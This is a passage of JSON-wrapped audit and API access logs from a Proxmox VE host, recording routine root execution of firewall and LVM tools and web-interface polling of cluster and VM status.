a0=7fff8927fb70 a1=55ecbc137fb0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58765 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781966059769,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:34:18 +0100] \"GET /api2/extjs/nodes/pve/qemu/877/pending HTTP/1.1\" 200 877"} {"@timestamp":1781965255940,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965255.940:64834): arch=c000003e syscall=54 success=yes exit=0 a0=3 a1=0 a2=80 a3=5e466d75b740 items=0 ppid=1156 pid=62284 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=(null)"} {"@timestamp":1781965565361,"@rawstring":"node=pve type=EXECVE msg=audit(1781965565.361:66166): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781964485693,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964485.693:61212): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc13b8c0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58764 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781966058773,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:34:17 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1096"} {"@timestamp":1781965255939,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965255.939:64833): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0ed540 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62284 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=\"exec\""} {"@timestamp":1781965565356,"@rawstring":"node=pve type=EXECVE msg=audit(1781965565.356:66165): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781964485685,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964485.685:61211): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc139c00 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58763 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781966058773,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:34:17 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 512"} {"@timestamp":1781965255932,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965255.932:64832): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc130160 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62283 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965565356,"@rawstring":"node=pve type=EXECVE msg=audit(1781965565.356:66164): argc=1 a0=\"date\""} {"@timestamp":1781964484727,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964484.727:61210): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d73ddab0 a1=64f8d73d5240 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=58762 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"lvs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781966057761,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:34:16 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1115"} {"@timestamp":1781965255926,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965255.926:64831): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecb9892a80 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62282 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965565350,"@rawstring":"node=pve type=EXECVE msg=audit(1781965565.350:66162): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781964484700,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964484.700:61209): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d27071e0 a1=64f8d1939920 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=58761 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"vgs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781966057761,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:34:16 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 931"} {"@timestamp":1781965255922,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965255.922:64830): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc1404d0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62281 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965565344,"@rawstring":"node=pve type=EXECVE msg=audit(1781965565.344:66161): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781964484547,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964484.547:61208): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=58758 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781966055834,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:34:14 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 901"} {"@timestamp":1781965255917,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965255.917:64829): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecb9892a80 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62280 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965565336,"@rawstring":"node=pve type=EXECVE msg=audit(1781965565.336:66160): argc=1 a0=\"iptables-save\""} {"@timestamp":1781964484540,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964484.540:61205): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=58757 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781966054843,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:34:14 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 507"} {"@timestamp":1781965255911,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965255.911:64828): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecb870ad70 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62279 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781965565330,"@rawstring":"node=pve type=EXECVE msg=audit(1781965565.330:66159): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781964479529,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964479.529:61202): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=58754 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781966054843,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:34:14 +0100] \"GET /api2/extjs/nodes/pve/qemu/877/pending HTTP/1.1\" 200 877"} {"@timestamp":1781965255904,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965255.904:64827): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62278 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965565322,"@rawstring":"node=pve type=EXECVE msg=audit(1781965565.322:66158): argc=1 a0=\"iptables-save\""} {"@timestamp":1781964479523,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964479.523:61199): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=58753 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781966054843,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:34:14 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 514"} {"@timestamp":1781965255896,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965255.896:64826): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62277 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965565315,"@rawstring":"node=pve type=EXECVE msg=audit(1781965565.315:66156): argc=1 a0=\"ebtables-restore\""} {"@timestamp":1781964475675,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964475.675:61196): arch=c000003e syscall=59 success=yes exit=0 a0=575d6d5260a0 a1=575d6d522e20 a2=575d6d504680 a3=5 items=2 ppid=58746 pid=58752 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781966054843,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:34:13 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1112"} {"@timestamp":1781965255892,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965255.892:64825): arch=c000003e syscall=59 success=yes exit=0 a0=64d287d23e90 a1=64d287d20c10 a2=64d287d02680 a3=5 items=2 ppid=62270 pid=62276 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781965565310,"@rawstring":"node=pve type=EXECVE msg=audit(1781965565.310:66155): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781964475671,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964475.671:61195): arch=c000003e syscall=59 success=yes exit=0 a0=575d32243ac8 a1=7fffbae82fe0 a2=575d6d504680 a3=575d3222724e items=2 ppid=58746 pid=58748 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781966053825,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:34:13 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1124"} {"@timestamp":1781965255890,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965255.890:64824): arch=c000003e syscall=59 success=yes exit=0 a0=64d264451ac8 a1=7ffef2d44cc0 a2=64d287d02680 a3=64d26443524e items=2 ppid=62270 pid=62272 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781965565301,"@rawstring":"node=pve type=EXECVE msg=audit(1781965565.301:66154): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781964475670,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964475.670:61194): arch=c000003e syscall=59 success=yes exit=0 a0=7fffbae82fa0 a1=575d6d521d10 a2=575d6d504680 a3=5 items=2 ppid=58746 pid=58747 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781966053825,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:34:12 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 916"} {"@timestamp":1781965255889,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965255.889:64823): arch=c000003e syscall=59 success=yes exit=0 a0=7ffef2d44c80 a1=64d287d09310 a2=64d287d02680 a3=5 items=2 ppid=62270 pid=62271 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781965565296,"@rawstring":"node=pve type=EXECVE msg=audit(1781965565.296:66153): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781964475666,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964475.666:61192): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=58746 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781966052722,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:34:11 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 505"} {"@timestamp":1781965255883,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965255.883:64821): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=62270 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965565290,"@rawstring":"node=pve type=EXECVE msg=audit(1781965565.290:66152): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781964475660,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964475.660:61191): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58745 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966051713,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:34:10 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1112"} {"@timestamp":1781965255875,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965255.875:64820): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62269 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965565285,"@rawstring":"node=pve type=EXECVE msg=audit(1781965565.285:66151): argc=2 a0=\"ipset\" a1=\"restore\""} {"@timestamp":1781964475654,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964475.654:61190): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58744 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966051713,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:34:10 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 907"} {"@timestamp":1781965255869,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965255.869:64819): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62268 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965565277,"@rawstring":"node=pve type=EXECVE msg=audit(1781965565.277:66150): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781964475647,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964475.647:61189): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58743 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966051713,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:34:10 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 514"} {"@timestamp":1781965255863,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965255.863:64818): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecb8adc0c0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62267 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781965565269,"@rawstring":"node=pve type=EXECVE msg=audit(1781965565.269:66149): argc=1 a0=\"iptables-save\""} {"@timestamp":1781964475640,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964475.640:61188): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58742 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966051713,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:34:10 +0100] \"GET /api2/extjs/nodes/pve/qemu/877/pending HTTP/1.1\" 200 877"} {"@timestamp":1781965255855,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965255.855:64817): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecb740eab0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62266 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781965565263,"@rawstring":"node=pve type=EXECVE msg=audit(1781965565.263:66148): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781964475637,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964475.637:61187): arch=c000003e syscall=54 success=yes exit=0 a0=3 a1=0 a2=80 a3=59de8cd10740 items=0 ppid=1156 pid=58741 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=(null)"} {"@timestamp":1781966049806,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:34:09 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1112"} {"@timestamp":1781965255849,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965255.849:64816): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc101360 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=62265 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781965565258,"@rawstring":"node=pve type=EXECVE msg=audit(1781965565.258:66147): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781964475635,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964475.635:61186): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0ecdb0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58741 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=\"exec\""} {"@timestamp":1781966049806,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:34:08 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 905"} {"@timestamp":1781965254248,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965254.248:64815): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d73d5cb0 a1=64f8d740bf70 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=62262 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"lvs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781965565257,"@rawstring":"node=pve type=EXECVE msg=audit(1781965565.257:66146): argc=1 a0=\"date\""} {"@timestamp":1781964475630,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964475.630:61185): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc0edff0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58740 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966048789,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:34:08 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 507"} {"@timestamp":1781965254209,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965254.209:64814): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d73be7a0 a1=64f8d73dd260 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=62261 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"vgs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781965565250,"@rawstring":"node=pve type=EXECVE msg=audit(1781965565.250:66144): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781964475625,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964475.625:61184): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc13aa70 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58739 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966048789,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:34:07 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1112"} {"@timestamp":1781965252325,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965252.325:64813): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=62260 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965565242,"@rawstring":"node=pve type=EXECVE msg=audit(1781965565.242:66143): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781964475618,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964475.618:61183): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc148d30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58738 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966047783,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:34:06 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 933"} {"@timestamp":1781965252314,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965252.314:64810): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=62259 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965565230,"@rawstring":"node=pve type=EXECVE msg=audit(1781965565.230:66142): argc=1 a0=\"iptables-save\""} {"@timestamp":1781964475613,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964475.613:61182): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc13aa70 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58737 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966047783,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:34:06 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 509"} 